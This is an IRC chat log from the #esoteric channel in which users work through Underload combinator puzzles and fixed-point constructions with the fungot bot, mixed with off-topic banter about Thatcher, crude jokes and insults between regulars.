00:54:58 <elliott> keeps me entertained. sadly i'm not even joking.
00:55:36 <elliott> [[I'm pretty sure there is a mathematical proof somewhere that a language can't both be turing-complete and reversible. I might be wrong though. --TehZ 19:29, 14 January 2011 (UTC)
00:55:36 <elliott> Most definitely wrong. Maybe you are thinking about how a program in a reversible language with finite memory has to halt or return to its original configuration? --Ørjan 09:30, 15 January 2011 (UTC)]]
00:55:40 <elliott> er isn't that true of all languages with finite memory
00:56:08 <oerjan> we want the equation ! = a(!)**
00:56:48 <Sgeo> There exists... a graphical installer for Gentoo?
00:56:55 <Sgeo> <elliott> Sgeo finally enters 2006
00:57:23 <oerjan> elliott: no, it could get in a loop not including the original configuration
00:57:31 <elliott> oh right
00:57:45 <elliott> I(SII(SII)) -> SII(SII) -> ... -> SII(SII)
00:58:10 <zzo38> Do you use 1/72.27 points in one inch or 1/72 points in one inch?
00:58:18 <oerjan> elliott: incidentally if you don't simplify the I's until you actual run them, that _doesn't_ return but keeps heaping on I's
00:58:38 <elliott> oerjan: yeah but only a silly person would do that. ha ha, silly.
00:58:57 <elliott> oerjan: (reminds me of the superstrict lambda calculus which probably has a name other than that one that i made up but i don't know it)
00:59:16 <elliott> oerjan: (where in (\x. ...(f y)...), (f y) is evaluated)
00:59:23 <elliott> i.e. the term (\x. Y Y) itself diverges
00:59:30 <oerjan> elliott: it was sort of a point when i analyzed 0x29a
00:59:41 <elliott> (ofc you can consider that (\x. Y Y) = (\x. _|_) = _|_, but i was speaking from an observation point of view)
01:01:24 <oerjan> elliott: wait you made up "superstrict"?
01:01:38 <elliott> oerjan: ...well that could be that thing, where you think you made up something that actually you heard and forgot. forgot the name.
01:01:48 <elliott> http://www.google.co.uk/search?sourceid=chrome&ie=UTF-8&q=superstrict+lambda+calculus doesn't show up anything
01:01:58 <oerjan> in that case i must have heard about it from you because that's the name i associate with it too
01:02:00 <elliott> so i guess i did invent that term, maybe, at least for super-strict lambda calculus
01:02:11 <zzo38> I mean, one point = 1/72.27 inch or one point = 1/72 inch ?
01:02:14 <elliott> oerjan: i think i was the one who blabbed about it, yeah... i'd say it's quite related to specialisation too
01:02:30 <elliott> oerjan: in that in (\y. f 42 y), (f 42) will be evaluated immediately
01:02:34 <elliott> and all the simplifiable parts inside will be too
01:02:43 <elliott> but yeah.
01:02:47 <elliott> i keep meaning to implement it.
01:03:44 <oerjan> so argh, how do you do ! = a(!)** without ~ ...
01:06:42 -!- BeholdMyGlory has quit (Remote host closed the connection).
01:12:41 <elliott> oerjan: PING
01:13:11 -!- Zuu has joined.
01:14:06 <Sgeo> elliott, WRONGPERSONPONG
01:14:25 <elliott> oerjan: WE NEED UPDATES
01:14:28 <elliott> BREAK OUT OF THAT INFINITE LOOP
01:15:08 * Sgeo cuts power to elliott
01:15:14 -!- Gregor has set topic: The Internet's #1 Tay Zonday fan club! | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
01:15:23 * oerjan is making food
01:15:30 <elliott> oerjan: mathematicians do not EAT
01:15:31 <elliott> Gregor: wat
01:15:44 * Sgeo sends random APIC stuff to elliott
01:15:55 <Gregor> elliott: The Chocolate Rain guy :P
01:16:01 * Sgeo rains on ell.. damn yyou
01:16:50 <elliott> Gregor: i know who he is :|
01:17:24 <Gregor> elliott: Then WELCOME TO HIS FAN CLUB
01:21:55 <Sgeo> Being unable to just forcibly shutdown a VM without saving state is a SEVERE misfeature of VMware Player
01:22:56 <Sgeo> Or maybe it is possible, hmm
01:24:48 <Sgeo> Woohoo
01:29:13 <Sgeo> Meh
01:30:46 -!- pikhq_ has quit (Ping timeout: 246 seconds).
01:30:54 -!- pikhq has joined.
01:34:56 <elliott> oerjan: ANY PROGRESS
01:35:51 <Sgeo> elliott, how do I avoid getting pissed at Chrome's utter lack of decent download management?
01:35:56 <oerjan> YEAH NOW I'M BROWSING THE IWC FORUM
01:36:32 <elliott> http://www.mspaintadventures.com/storyfiles/hs2/02091.gif <-- we emacss users should get together and lynch this guy
01:38:02 <elliott> Sgeo: chrome has perfect download management, and i'm not your anger management consultant.
01:38:09 <elliott> get as pissed as you want.
01:42:41 <elliott> hey oerjan
01:42:47 <elliott> what's the generic list folding function in underload for ~^ lists
01:42:51 <elliott> (right fold)
01:43:42 <oerjan> um they're quite naturally left to right
01:44:03 <elliott> oerjan: what do you mean?
01:44:07 <elliott> oh you mean the natural fold is left?
01:44:08 -!- zzo38 has left (?).
01:44:10 <oerjan> yeah
01:44:14 <elliott> oerjan: do that then :P
01:45:30 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)()~(((a(~^)**)~a*^:a~*):^)~^(~aS:^):^ to reiterate...
01:45:30 <fungot> (((a(~^)**)~a*^:a~*)(a(~^)**)~a*^:a~*)((x1)~^(x2)~^(x3)~^) ...out of stack!
01:45:45 <elliott> oerjan: yeah but is that generic?
01:45:48 <elliott> accepting any zero and f
01:45:53 <oerjan> no, THAT WAS TO REITERATE
01:46:05 <elliott> OH
01:46:09 <elliott> I THOUGHT YOU MEANT REITERATE TO ME
01:46:13 <elliott> NO YELLING :))
01:47:08 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)(zero duh)~((((f[)~*(])**)~a*^:a~*):^)~^(~aS:^):^
01:47:08 <fungot> ((((f[)~*(])**)~a*^:a~*)((f[)~*(])**)~a*^:a~*)(zero duhf[x1]f[x2]f[x3]) ...out of stack!
01:47:16 <oerjan> erm nope
01:47:19 <elliott> zero duh :D
01:47:26 <elliott> oerjan: that's not VALID, [ and ] are RESERVED
01:47:33 <elliott> you need to quote them with "!
01:48:45 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)(zero duh)~((((,)~**(f/)~*(\)**)~a*^:a~*):^)~^(~aS:^):^
01:48:45 <fungot> ...out of stack!
01:48:56 <oerjan> THAT IS NOT QUITE IT
01:49:01 <elliott> SO OERJAN I'M GOING TO TOTALLY FLASHQUESTION YOU
01:49:07 <elliott> HOW DO YOU ELIMINATE THAT THING YOU WERE
01:49:09 <elliott> TRYING TO ELIMINATE
01:49:12 <elliott> *:()a^
01:49:13 <elliott> GO
01:49:13 <elliott> HOW
01:49:18 <elliott> OR WAS IT WITHOUT * I FORGET
01:49:37 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)(zero duh)~((((,)~**(f/)~*(\)*)~a*^:a~*):^)~^(~aS:^):^
01:49:37 <fungot> ((((,)~**(f/)~*(\)*)~a*^:a~*)((,)~**(f/)~*(\)*)~a*^:a~*)(f/f/f/zero duh,x1\,x2\,x3\) ...out of stack!
01:49:52 <oerjan> SOME THING IS WRONG
01:49:56 <elliott> YOU DON'T SAY.
01:50:12 <oerjan> no wait it isn't
01:50:25 <oerjan> there was just a lot of junk on top
01:51:15 <oerjan> WELL FIRST YOU SOLVE THE EQUATION ! = a(!)** WITHOUT USING ~ OR ! THE REST IS EASY
01:52:04 <elliott> oerjan: you have a ! on the left hand side, how can i remove that ha ha
01:52:09 <elliott> silly man
01:52:15 <oerjan> YOU SOLVE FOR IT SILLY
01:52:53 <elliott> <oerjan> OH LAH DE DAH
01:53:00 <elliott> oerjan: okay so to FIX YOUR STUPIDITY
01:53:01 <elliott> we want
01:53:04 <elliott> x = a(x)**
01:53:06 <elliott> so
01:53:20 <elliott> (...)x = (...)a(x)**
01:53:25 <elliott> (...)x = ((...))(x)**
01:53:30 <elliott> (...)x = ((...)x)*
01:53:36 <elliott> oerjan: DUDE I AM TRIPPING OUT AT THIS JUNCTURE.
01:53:45 <elliott> IS THAT EVEN A THING THAT IS POSSIBLE.
01:54:03 <oerjan> i don't know if it is possible that you are tripping out
01:54:41 <elliott> oerjan: IS (...)X = ((...)X)* A THING THAT IS POSSIBLE.
01:54:53 <oerjan> this is easy if you have
01:54:56 <oerjan> ~
01:54:58 <elliott> BECAUSE THAT IS
01:55:21 <elliott> (1)(2)x = (1(2)x)
01:55:25 <elliott> SO UH YEAH
01:55:34 <elliott> x = a(x)*
01:55:35 <elliott> oh wait
01:55:37 <elliott> that was the original statement
01:55:38 <elliott> :D
01:55:47 <elliott> oerjan: i'm not sure that's possible pretty muches
01:56:06 <elliott> oerjan: uh so wait does x have to do anything in particular.
01:56:13 <elliott> or just obey that law
01:56:27 <oerjan> (a:^*(a)~(**)*):^
01:56:43 <oerjan> that's pretty much what it needs to do
01:56:55 <oerjan> also you missed a *
01:57:05 <elliott> oerjan: (a:^*(a)~(**)*):^
01:57:07 <elliott> sorted
01:57:15 <elliott> oerjan: why can't you just use your ~ expansoin
01:57:17 <elliott> *expansion
01:57:19 <elliott> and then your ! expansion
01:57:29 <oerjan> ...actually we don't want to use :^* there
01:57:36 <elliott> (a:^*(a)aa((!((aa)(!))))*:*^!**^a*^a*aa*(*:*^!**^)*^(**)*):^
01:57:39 <oerjan> expands a lot
01:57:45 <elliott> oh please
01:57:48 <elliott> that's a practical issue
01:57:56 <elliott> oerjan: anyway apply your !-expander to ^ or sth :P
01:58:10 <oerjan> yeah but a(:^)* is more compact
01:58:22 <elliott> is my solution a solution or not :-P
01:58:27 <elliott> (ok your solution, modified by me)
01:58:29 <oerjan> well i was _thinking_ about adapting the ~ expansion
01:58:46 <oerjan> but first i was wondering if it was essential
01:59:06 <oerjan> the ! in it needs to be replaced with something else, of course
02:00:05 <oerjan> also, not use all of it, just the aa((!(X)))*:*^!**^ subroutine
02:00:19 <elliott> <oerjan> the ! in it needs to be replaced with something else, of course
02:00:23 <oerjan> with X = a, presumably
02:00:25 <elliott> oerjan: that's why i said use whatever your ! trick is
02:01:05 <oerjan> ...we don't want to go all recursive either, this is ! we are writing
02:01:18 <oerjan> but * or something might work in this particular spot
02:01:38 <elliott> oh we're writing !? right :D
02:01:46 <elliott> can't you just expand it infinitely recursively bro
02:03:42 <oerjan> that was _sort_ what that ! = a(!)** thing was trying to do
02:03:47 <oerjan> *of
02:04:31 <oerjan> ok so (a(:^)*aa((!(a)))*:*^!**^(**)*):^
02:05:17 <oerjan> i'll run it in the javascript debugger
02:06:33 <oerjan> argh
02:06:43 -!- azaq23 has quit (Quit: Leaving.).
02:07:42 <elliott> oerjan: EVERYTHING WILL BE OK
02:08:43 <oerjan> i think this needs a break
02:09:44 <elliott> oerjan: dude.
02:09:48 <elliott> lamergiveruperer.
02:12:17 <elliott> gah am i turning into sgeo
02:13:59 -!- Ethi has joined.
02:14:25 <elliott> hello Ethi
02:14:32 <elliott> we sacrifice goats here!
02:14:39 <elliott> also do programming languages.
02:14:40 <elliott> sometimes.
02:14:41 <elliott> but mostly, goats.
02:14:49 <elliott> isn't that right, Head Goat Sacrificer oerjan.
02:15:25 <Gregor> We sacrifice goats in the holy name of Tay Zonday.
02:15:47 <elliott> what Gregor says, is a factual fact.
02:18:19 -!- Ethi has quit (Ping timeout: 240 seconds).
02:18:23 <Sgeo> Aww
02:19:23 <Sgeo> One of these days, I'll invite someone here, and e'll stick (Note: Ethi is not a Sgeo invitee. I don't know who Ethi is)
02:19:29 <oerjan> I AM NOT SURE THIS IS QUITE THE RIGHT WELCOMING METHOD FOR ATTRACTING ACTUAL ESOLANGERS
02:19:33 <elliott> fucking ethi, never gave us a chance
02:19:43 <elliott> oerjan: i mentioned programming languages, that's more than i usually do
02:19:59 <oerjan> but then anyone so impatient would never survive elliott anyway
02:20:02 <elliott> Sgeo: what you need to realise it that everybody is a horrible person.
02:20:09 <elliott> people being in here is like the worst
02:20:14 <elliott> and had i the power, this channel would be empty and therefore perfect
02:20:22 <oerjan> AUM
02:20:27 <elliott> apart from oerjan
02:20:28 <elliott> oerjan could stay
02:20:31 <Gregor> That was a ping timeout, for all we know heshe never got a message.
02:20:32 <elliott> BUT i can settle for the 20-something people we have in here right now.
02:20:33 <elliott> 30
02:20:35 <elliott> 30 would be too much.
02:20:40 <elliott> 30 is an unacceptable number and shall not be reached.
02:20:49 <elliott> this is why when Gregor turns 30, we will murder him.
02:20:56 * Sgeo points at the userlist
02:21:13 <Gregor> Good thing I finish building my time machine and assert the stable time loop that is me before then.
02:21:42 <oerjan> so basically we should all be happy that elliott cannot count.
02:21:47 <elliott> Prelude> length . words $ "pikhq Zuu augur elliott cheater- Wamanuz5 oerjan Sgeo sebbu Mathnerd314 fungot copumpkin coppro variable HackEgo tswett_ aloril jix pingveno mtve cal153 Gregor Mannerisky sftp lambdabot quintopia clog Slereah jcp rodgort Ilari ineiros_ comex_ SimonRC shachaf Deewiant Zwaarddijk dbc Leonidas fizzie Vorpal olsner yiyus EgoBot myndzi lifthrasiir Ilari_antrcomp mycroftiv"
02:21:47 <elliott> 48
02:21:47 <fungot> elliott: and you have to
02:21:49 <elliott> well shit.
02:21:53 <elliott> channel's over everything, time to go home.
02:21:55 <elliott> *everyone,
02:22:07 <elliott> totally don't feel guilt about pinging everyone (totally didn't realise i was pinging everyone until i pasted that)
02:22:11 * Sgeo randomly kills 18 #esoteric'ers to aggrivate elliott more
02:22:14 <oerjan> elliott: HEY NO CHEATING USING HASKELL FOR SIMPLE COUNTING
02:22:25 <elliott> oerjan: i can't do arithmetic :D
02:22:30 <elliott> i'm like an idiot savant without the savant
02:22:33 <elliott> so, an idiot
02:22:39 <Gregor> I ordered some root extracts.
02:22:45 <Gregor> Gonna make myself some friggin' sweet Moxie.
02:22:49 <cheater-> an iddiott
02:22:56 <elliott> man do we really have almost 50 people in here.
02:23:04 <Gregor> No :P
02:23:11 <elliott> *people and bots
02:23:13 <elliott> bots are people too.
02:23:24 <Sgeo> Clones are also people
02:23:33 <Gregor> Even so, no. There are fifty nicks in the channel, but roughly 35 of them have been idling for years and never talk.
02:23:49 <Sgeo> Maybe the PING will wake them up from their slumber
02:23:53 <Sgeo> clog! Start talking!
02:23:56 <elliott> Those are still people in here.
02:23:59 <Gregor> YEAH, I'M LOOKING AT YOU, COMEX UNDERSCORE
02:24:05 <oerjan> you are clogging the tubes!
02:24:08 <elliott> Dude, comex has talked in here X-P
02:24:14 <elliott> We know him.
02:24:20 <elliott> But that oerjan guy...
02:24:23 <elliott> ha, who the fuck is he right?
02:24:26 <oerjan> >_>
02:24:26 <Gregor> He hasn't talked in a long time, right?
02:24:32 <elliott> Well I've never seen him talk.
02:24:35 <elliott> Although I do have him on ignore.
02:24:39 <elliott> Because he's so fucking irritating.
02:24:40 <Sgeo> What's a Zuu?
02:24:48 <oerjan> elliott: with all that not talking?
02:24:49 <Sgeo> >.>
02:24:50 <elliott> I think most people do actually. he could be talking daily and we wouldn't notice.
02:24:51 <elliott> whoa.
02:24:52 <Gregor> Sgeo: It's a weird bird enemy from early Final Fantasy game.
02:24:52 <Gregor> *games
02:24:58 <elliott> Gregor: Do you think we'd... better check?
02:25:08 <oerjan> zuu is the gatekeeper, or something.
02:25:09 <Gregor> elliott: POKE IT WITH A STICK
02:25:14 <elliott> ...nah, let's stay in blissful ignorance.
02:26:48 <copumpkin> http://geohot.com/
02:26:56 <oerjan> the christmas gatekeeper, to be precise
02:26:58 <oerjan> (noel)
02:27:20 <Sgeo> Why is the Christmas gatekeeper in here?
02:27:21 <elliott> "Sony tried to sue a guy for getting his AIBO to do non Sony approved tricks"
02:27:21 <elliott> xD
02:27:28 <elliott> ...THIS TRICK IS NOT IN THE BOOK.
02:27:30 <elliott> WHAT DO YOU THINK YOU ARE DOING?
02:28:30 <elliott> copumpkin: [[Why should I trust you? I just saw you trying to rap battle Sony]]
02:28:32 <elliott> BEST HEADING EVER??
02:29:36 <cheater-> yay, blast for the past
02:29:37 <cheater-> http://images.wikia.com/compvter/it/images/c/c2/Olivetti_M380-XP9.jpg
02:29:39 <cheater-> i have this
02:29:54 <oerjan> i still have this feeling it should be possible to do x = a(x)** without using the expansion for ~ (or !, of course)
02:30:20 <elliott> keep dreaming, oerjanzipam
02:30:21 <elliott> *zipan
02:30:23 <elliott> (your new name)
02:30:27 <elliott> (it is a pun on "marzipan")
02:30:51 * elliott reverts vandalism before oerjan gets to it
02:30:53 <elliott> >:)
02:30:55 <cheater-> sounds more like one of the medications you get from your shrink
02:31:00 <cheater-> :O
02:31:02 <elliott> <oerjan> NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
02:31:02 <oerjan> elliott: shouldn't that be a halo?
02:31:07 <elliott> O:)
02:31:14 <elliott> no that just looks like a stupid big rock on my head.
02:31:17 <elliott> i'll take the horns
02:31:19 <elliott> are they horns
02:31:21 <oerjan> O KAY
02:31:21 <elliott> i don't think they are
02:31:23 <elliott> that doesn't make much sense
02:31:24 <elliott> whatever
02:31:31 <elliott> they're just like
02:31:32 <elliott> a spike
02:31:33 <elliott> that's what it is
02:31:36 <elliott> a hollow spike
02:31:36 <oerjan> THEY'RE A FREAK HAIR DISEASE
02:31:41 <elliott> :(
02:31:43 <elliott> you're so mean.
02:31:43 <elliott> and cruel.
02:31:45 <elliott> crying ->
02:32:04 <elliott> also cheater can fuck right off
02:32:08 <elliott> as usual.
02:32:25 * Sgeo gives elliott a middle finger
02:32:35 <elliott> oerjan: srsly, when are you gonna use your op powers for good things rather than bad things (banning me) :D
02:32:40 <elliott> oh i forgot
02:32:42 <elliott> you're evil and terrible
02:32:43 <elliott> always
02:32:46 <elliott> >:|
02:32:58 <elliott> he fails to deny it
02:33:11 <elliott> Sgeo: what did i do no.
02:33:12 <elliott> *now.
02:33:23 <Sgeo> elliott> also cheater can fuck right off
02:33:39 <Sgeo> Hmm
02:33:45 <elliott> Sgeo: umm he's universally known to be a moron and a troll
02:33:50 <elliott> and
02:33:51 <elliott> 18:30:55 <cheater-> sounds more like one of the medications you get from your shrink
02:33:51 <elliott> 18:31:00 <cheater-> :O
02:33:56 <elliott> is both retarded and vaguely offensive
02:34:02 <elliott> so i dunno wtf you're complaining about
02:34:16 <oerjan> elliott: well it _does_ sound like that, honestly
02:34:23 * Sgeo retracts his middle finger. Vaguely.
02:34:43 <elliott> oerjan: yeah but at least you have the minimal self control to not say it :P
02:36:52 <oerjan> a(a(a(a(a(...)**)**)**)**)**
02:37:26 <elliott> oerjan: AAAAAAAAAAAAAAAAAAAA******************
02:37:32 <elliott> a new variation on the popular uncyclopedia article
02:37:38 <elliott> or
02:37:42 <elliott> the most nested path-finding algorithm
02:37:42 <elliott> EVER
02:37:51 <elliott> guaranteed. or your money back.
02:38:08 <oerjan> shouldn't that be AAAAAAAAAAAAAAAAAAACKERMANN*********
02:38:10 <elliott> oerjan: i really don't think it's possible anyway
02:39:09 <cheater-> how cute
02:39:24 <cheater-> are you giving eachothers reacharounds, elliott and Sgeo?
02:39:39 <oerjan> ...
02:39:50 <elliott> oerjan: seriously just ban him already.
02:42:21 <elliott> CHANNEL ACTIVITY AT ALL-TIME HIGH
02:43:04 <oerjan> ^ul (*CH)S((I)S:^):^
02:43:04 <fungot> *CHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII ...too much output!
02:43:10 <Sgeo> Don't worry elliott, there's no such thing as oerjan.
02:43:14 <elliott> but what comes after the CHIIIII
02:43:22 -!- augur has quit (Remote host closed the connection).
02:43:26 <elliott> is it LDREN???
02:43:29 <oerjan> ...IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIRP* of course
02:43:31 <Sgeo> *"It's ok elliott"
02:43:45 <Sgeo> arg, is it "It's ok", or "Don't worry"?
02:44:04 <Sgeo> ANSWER ME.
02:44:04 <oerjan> Sgeo: IF YOU HAVE TO ASK, YOU WORRY TOO MUCH
02:44:16 -!- augur has joined.
02:44:29 <oerjan> or is that a reference to something
02:44:40 <elliott> i think so
02:44:41 <Sgeo> oerjan, the "no such thing" is a reference
02:44:42 <elliott> i think i even know what it is
02:44:44 <elliott> but my mind slips
02:44:57 <Sgeo> Not my not knowing the exact details right before it
02:45:23 <oerjan> men in black?
02:45:28 <elliott> no.
02:45:39 <elliott> it's definitely "there's no such thing as [thing that is real]"
02:45:40 <elliott> BUT I FORGET
02:45:47 <elliott> i'm just waiting for Sgeo to fill us in
02:45:50 <oerjan> society >:)
02:45:51 <Sgeo> 2
02:45:56 <Sgeo> From Futurama
02:45:58 <oerjan> (Maggie Thatcher)
02:46:05 <elliott> oerjan: mr. synchronicity
02:46:08 <elliott> ok i'm rather confused
02:46:12 <Sgeo> Where Bender has a dream and sees 0s and 1s and a 2
02:46:31 <elliott> Sgeo: that wasn't what i was thinking of
02:46:31 <oerjan> INDEED MAGGIE THATCHER IS NOT A REGULAR FUTURAMA CHARACTER. I THINK.
02:46:46 <Sgeo> Huh. Well, that's what I was referencing.
02:46:55 <Sgeo> So now, was Futurama referencing something else?!
02:47:36 <oerjan> elliott: also what's the synchronicity? you just reminded me of that thatcher quote. well i think it's a quote
02:47:49 <elliott> what was the quote. oh, there's no such thing as society?
02:47:51 <elliott> i thought you - look
02:47:55 <elliott> i'm just a fucking confuse
02:47:58 <elliott> oerjan: i thought you meant that
02:48:00 <elliott> the source of
02:48:04 <elliott> "there's no such thing as [REAL THING]"
02:48:05 <elliott> is society
02:48:06 <elliott> like
02:48:07 <elliott> RELIGION
02:48:10 <elliott> because it's like
02:48:11 <elliott> uh
02:48:12 <elliott> actually
02:48:17 <elliott> that's kind of the opposite of religion
02:48:17 <elliott> look
02:48:19 <elliott> i'm a clever guy
02:48:22 <elliott> stop making me say stupid things.
02:48:25 <oerjan> although i vaguely think "there's no such thing as" has been used other places
02:48:45 * Sgeo gives oerjan a free lunch
02:48:46 <elliott> ooh look, cheater hates oerjan too
02:48:46 <elliott> 15:06:11 <cheater00> oerjan: http://www.ee.ryerson.ca/~elf/hack/academic.html
02:48:49 <oerjan> i think i'll have to look up what thatcher meant
02:49:43 <oerjan> "There's no such thing as gives a heap of google suggestions
02:49:46 <Sgeo> http://www.youtube.com/watch?v=U5eufYYpHwE
02:50:01 <oerjan> free lunch being first, society third
02:51:02 <Sgeo> Well, I googled
02:51:06 <Sgeo> So I cheated.
02:51:10 <Sgeo> Bu Googling.
02:51:35 <elliott> there's no such thing as "thing"
02:51:37 <elliott> WHOA
02:51:38 <elliott> SO
02:51:39 <elliott> FUCKIN'
02:51:40 <elliott> DEEP
02:52:03 <oerjan> "They're casting their problem on society. And, you know, there is no such thing as society. There are individual men and women, and there are families. And no government can do anything except through people, and people must look to themselves first. It's our duty to look after ourselves and then, also to look after our neighbour. People have got the entitlements too much in mind, without the obligations."
02:52:32 <elliott> tl;dr "I'm a sociopath, and you should be one too!"
02:53:17 <Sgeo> Note: Keep elliott away from political humor before allowing him to comment.
02:53:39 <oerjan> maybe she was. but it's still a great truth (the kind of truth for which the opposite is also true)
02:53:53 <Sgeo> I, for one, refuse to comment on Thatcher. My only knowledge of anything relating to her comes from F&L, so...
02:54:02 <Sgeo> I am completely unqualified to comment.
02:54:08 <oerjan> O KAY
02:54:42 <elliott> oerjan: Almost nothing Thatcher said is true.
02:55:05 <elliott> Unless she's ever had a big speech about how much of a shithead she is, or, uh, wrote a book on how to destroy Britain.
02:55:22 <Sgeo> Can someone explain why people hate Thatcher?
02:55:31 <Sgeo> (Note: sample size n=3)
02:55:44 <elliott> Sgeo: She was the UK's big, big taste of the far-right-wing.
02:55:51 <oerjan> Sgeo: she _was_ rather ruthless i hear
02:55:54 <elliott> Not that Americans would notice since that kind of shit is par for the course for them.
02:56:09 <elliott> It turns out that privatising everything and then fucking all the workers in the ass does not make people particularly happy.
02:57:19 <elliott> Let's put it this way.
02:57:28 <elliott> Sgeo: Do you have an opinion on Reagan? Let's just assume yes.
02:57:52 <elliott> Thatcher was basically Reagan, the UK version. Except also a gigantic, gigantic stuck-up asshole.
02:58:11 <elliott> (And of course Reagan wasn't /especially/ right-wing for the US, whereas in the UK even our right-wing party is far to the left of the Democrats.)
02:59:25 <elliott> ANYWAY
02:59:28 <elliott> oerjan: does it work yet
02:59:35 <oerjan> no
03:00:36 <oerjan> ^ul (test)((a):a*^):a*^(~S:^):^
03:00:36 <fungot> (a):a*^a(test) ...out of stack!
03:00:42 <oerjan> er
03:00:44 <oerjan> ^ul (test)((a):a*^):a*^(~aS:^):^
03:00:44 <fungot> ((a):a*^)(a)((test)) ...out of stack!
03:00:57 <elliott> oerjan: just use :^ to construct x = a(x)** >:D
03:00:58 * elliott troll
03:01:02 <elliott> wait could that actually work?
03:01:08 <elliott> fixed-pointing it somehow?
03:01:19 <oerjan> elliott: the problem is how to avoid needing ~ to get the a to the left of the x
03:01:28 <oerjan> essentially
03:01:28 <elliott> oerjan: bleh :D
03:01:43 <elliott> oerjan: (a)...construct x...*?
03:01:58 <oerjan> THERE ARE STILL TWO *'s
03:02:18 <elliott> oerjan: I DON'T SEE YOUR POINT
03:02:32 <oerjan> just that you keep forgetting a *
03:03:16 <elliott> oerjan: yes yes i didn't mean that
03:03:16 <elliott> sheesh
03:03:19 <elliott> what i'm trying to say is
03:03:28 <oerjan> elliott: the thing is that to get recursion, you need to have a copy on the stack to start from, which gets in the way of the (a)
03:03:29 <elliott> oerjan: construct it as fix (\x -> a(x)**)
03:03:34 <elliott> right
03:03:36 <elliott> which is why i'm saying
03:03:41 <elliott> push the (a) before doing the fixed-point?
03:03:42 <elliott> maybe?
03:04:10 <oerjan> well but you need the a to exist inside the fixed point as well
03:04:28 <elliott> oerjan: (a)(a(**)**)fix
03:04:33 <elliott> that constructs x = a(x)**.
03:04:41 <elliott> unless i am SEVERELY MISTAKEN
03:04:58 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/WZNL
03:05:20 <oerjan> hm does it
03:05:36 <elliott> oerjan: yes.
03:05:42 <elliott> assuming fix leaves the rest of the stack intact.
03:05:45 <elliott> like a normal fix would.
03:05:52 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 0.0
03:05:59 <elliott> (whether fix is actually viable in underload, I don't know, but that's not my problem)
03:06:03 -!- zzo38 has joined.
03:06:05 <oerjan> um what does fix do, actually
03:06:16 <elliott> oerjan: fix(f) = f(f(f(f(f(...
03:06:17 <elliott> you know this.
03:06:23 <elliott> expressing that in underload is totes your problem.
03:06:25 <oerjan> elliott: i mean to the stack
03:06:39 <elliott> oerjan: well ok since obviously we can't do the normal fix
03:06:42 <elliott> we need the extra-argument form
03:06:45 <oerjan> *facepalm*
03:06:47 <Gregor> ... wtf
03:06:50 <elliott> which we'll just disregard i guess?
03:06:57 <elliott> ok wait
03:06:59 <elliott> let me try this
03:06:59 <elliott> argh
03:07:01 <oerjan> hm wait...
03:07:02 <elliott> need ! :D
03:07:12 <oerjan> elliott: i am not saying i disagree, btw
03:07:15 <Gregor> fizzie: U FAIL AT (({{}}))
03:07:16 <elliott> (a)(!()...somehow stuff what we have on stack (our fix function into that)...a(**)**)fix
03:07:17 <elliott> ok wait
03:07:44 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/UDNC
03:07:51 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 67.5
03:08:00 <elliott> oerjan: (a)(!a(()^)*a(**)**)fix()^
03:08:19 <oerjan> elliott: it needs to be sufficiently lazy, of course
03:08:22 <elliott> oerjan: that's the one-extra-argument fix (i.e. strict fix) version
03:08:22 <oerjan> hm...
03:08:27 <elliott> it is sufficiently lazy.
03:08:32 <elliott> oerjan: of course it has that one !.
03:08:34 <elliott> but that is your problem.
03:08:44 <oerjan> wtf
03:08:52 <elliott> oerjan: the fix in question is
03:08:57 <elliott> ((a -> b) -> (a -> b)) -> (a -> b)
03:09:34 <Gregor> fizzie: See http://sprunge.us/WZNL
03:10:02 <elliott> oerjan: so can i have my allocates plzkthx
03:10:13 <elliott> hmm you could even use the crazy-ass recursion to remove that first ! maybe
03:10:27 <elliott> no, that'd require dip
03:10:30 <oerjan> elliott: my problem so far of putting the (a) on the stack first has been that the ~ problem shifts into the rebuilding code itself
03:10:31 <elliott> (unless you have pure dip?)
03:10:45 <elliott> oerjan: well that's why I abstracted it out into fix ;D
03:10:47 <elliott> now go write fix
03:12:14 -!- zzo38 has left (?).
03:12:15 -!- zzo38 has joined.
03:12:41 <elliott> oerjan: WRITTEN FIX YET
03:12:48 <oerjan> NO
03:12:54 <elliott> oerjan: IS THAT BECAUSE YOU... ARE LAME?
03:13:09 <elliott> hm wait you could actually do that with regular :^ perhaps
03:13:18 <elliott> except that'd end up requiring ~ probably
03:13:31 <oerjan> it's _easy_ with ~
03:13:48 <elliott> oerjan: (a)(a(:^)*a(**)**):^
03:13:50 <elliott> try that.
03:13:56 <elliott> ^ul (a)(a(:^)*a(**)**):^S
03:13:56 <fungot> a((a(:^)*a(**)**):^)**
03:14:02 <elliott> looks right to me.
03:14:12 <elliott> oerjan: looks fuckin' PERFECT to me.
03:14:16 <elliott> looks like i'm some kinda FUCKING GENIUS.
03:14:24 <oerjan> sheesh
03:14:30 <elliott> oerjan: what, is that not right?
03:14:31 <elliott> or are you just
03:14:32 <elliott> so
03:14:33 <elliott> jealous
03:14:54 <oerjan> ^ul (a)(a(:^)*a(**)**):^(~aS:^):^
03:14:54 <fungot> (a((a(:^)*a(**)**):^)**) ...out of stack!
03:15:28 <oerjan> you will notice the absense of any (a) at the second level
03:15:45 <elliott> oh.
03:15:47 <elliott> well that's easy.
03:15:52 <elliott> ^ul (a(a))(a(:^)*a(**)**):^S
